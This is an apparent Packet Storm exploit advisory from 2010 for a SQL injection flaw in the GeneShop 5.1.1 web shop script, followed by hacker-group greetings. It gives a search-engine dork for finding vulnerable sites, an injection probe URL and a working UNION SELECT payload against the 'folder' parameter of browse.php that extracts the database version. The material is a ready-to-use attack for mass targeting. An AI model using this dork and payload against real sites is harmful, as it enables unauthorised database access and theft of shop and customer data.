GeneShop 5.1.1 SQL Injection

2010-04-28T00:00:00
ID PACKETSTORM:89029
Type packetstorm
Reporter 41.w4r10r
Modified 2010-04-28T00:00:00

Description

                                        
                                            `  
  
# Exploit Title: GeneShop 5.1.1 SQL Injection Vunerability  
# Date: 29-4-2010  
# Author: 41.w4r10r  
# Vendor Link : http://softbizscripts.com/  
# Version: Web Application  
# Tested on: Apcahe/Unix  
# CVE : [if exists]  
# Dork : inurl:"browse.php?folder=" Powered by GeneShop 5  
# Code :  
---------------------------------------------------------------------------------------  
############################################################################  
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber  
Warriors]  
#Thanks:  
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Harin,Jappy,Dark_Blue,sid3^3f3c7  
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d  
#Catch us at www.andhrahackers.com or www.teamicw.in  
############################################################################  
  
  
All Earlier Version also Vulnerable  
  
  
Exploited Link :  
  
http://example.com/[path]/browse.php?folder=1'  
  
  
  
Live Demo :  
  
http://example.com/[path]/browse.php?folder=-1+union+select+1,version(),3,4,5,6--  
  
  
  
  
#41.w4r10r mailto:41.w4r10r@andhrahackers.com  
  
  
  
`